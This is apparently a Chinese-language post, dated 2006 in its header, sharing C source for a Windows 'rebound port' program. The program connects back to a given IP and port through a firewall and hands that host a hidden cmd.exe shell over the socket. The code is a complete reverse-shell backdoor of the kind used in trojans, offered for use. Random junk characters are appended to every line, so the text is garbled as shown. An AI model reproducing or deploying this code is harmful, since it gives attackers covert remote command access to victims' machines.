这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bD2):U*Fzo
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/* ============================== D)O2=aQ;]
Rebound port in Windows NT p`+=)
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By wind,2006/7 [8kufMY|
===============================*/ 'P AIh*qA
#include !6`pq
#include [6ycs[{!
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#pragma comment(lib,"wsock32.lib") "YC5viX
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void OutputShell(); 8;%F-?
SOCKET sClient; 1<9=J`(H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b0(bL_,
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void main(int argc,char **argv) Oax6_kmOj
{ =&_Y=>rA]0
WSADATA stWsaData; A$JL"~R
int nRet; .RazjXAY
SOCKADDR_IN stSaiClient,stSaiServer; iBqxz:PHN(
c"wk_#
if(argc != 3) rtjUHhF
{ 0:1[F!]'b
printf("Useage:\n\rRebound DestIP DestPort\n"); S17iYjy#8T
return; E;o
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} ;bYpMcH
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WSAStartup(MAKEWORD(2,2),&stWsaData); [-5l=j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &06pUp
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stSaiClient.sin_family = AF_INET; bMA\_?
stSaiClient.sin_port = htons(0); 3+<f7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sahXPl%;U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JEL.*[/
{ o8RVmOXe
printf("Bind Socket Failed!\n"); 7hzd.
return; 1B0+dxN`
} %2I >0
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stSaiServer.sin_family = AF_INET; <rKfL`8p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FjU
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a>o]garB+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MnPk+eNJm
{ yq=rv$.s
printf("Connect Error!"); JS!`eO/8
return; -"CXBKHb
} E,}(jAq7
OutputShell(); Tlar@lC|u
} nOm-Yb+F
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void OutputShell() b(HbwOt~3
{ K ; eR)
char szBuff[1024]; (i.7\$4
SECURITY_ATTRIBUTES stSecurityAttributes; /5wIbmz@I
OSVERSIONINFO stOsversionInfo; "\~d!"n|2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -;Ij ,
STARTUPINFO stStartupInfo; m\.(-
char *szShell; 2:jWO_V@
PROCESS_INFORMATION stProcessInformation; 6JB*brO
unsigned long lBytesRead; E4cPCQyeH
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lJJ`aYDp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &&>Tfzh
stSecurityAttributes.lpSecurityDescriptor = 0; -)%gMD~z1
stSecurityAttributes.bInheritHandle = TRUE; x4N*P
VBN=xg}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "nA~/t=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8dUP_t~d#q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2EC<8}CG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CQns:.`$`
stStartupInfo.wShowWindow = SW_HIDE; T( z/Jm3
stStartupInfo.hStdInput = hReadPipe; ..fbRt
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vpe\Okt:
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GetVersionEx(&stOsversionInfo); #JYH5:*
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#
switch(stOsversionInfo.dwPlatformId) 08qM?{zo^
{ -%ftPfm
case 1: F T$x#>
szShell = "command.com"; 9YvK<i&I
break; <i ";5+
default: pmuT7*<19
szShell = "cmd.exe"; DmiZ"A
break; =`OnFdI
} Ca}V5O
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J,D^fVIw
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send(sClient,szMsg,77,0); |0nt u+
while(1) %hVI*p3
{ ~[Z,:=z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yfZYGhPN(
if(lBytesRead) $2>"2*,04
{ fo_*Uva_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h#}'9oA
send(sClient,szBuff,lBytesRead,0); !-~sxa280r
} 2rWPqG4e
else l\_81oZ
{ sEHA?UP$<F
lBytesRead=recv(sClient,szBuff,1024,0); X!|K 4Z!k
if(lBytesRead<=0) break; b#W(&b^q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} YZZog 6%
} /wPW2<|"X.
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return; lQqP4-E?
}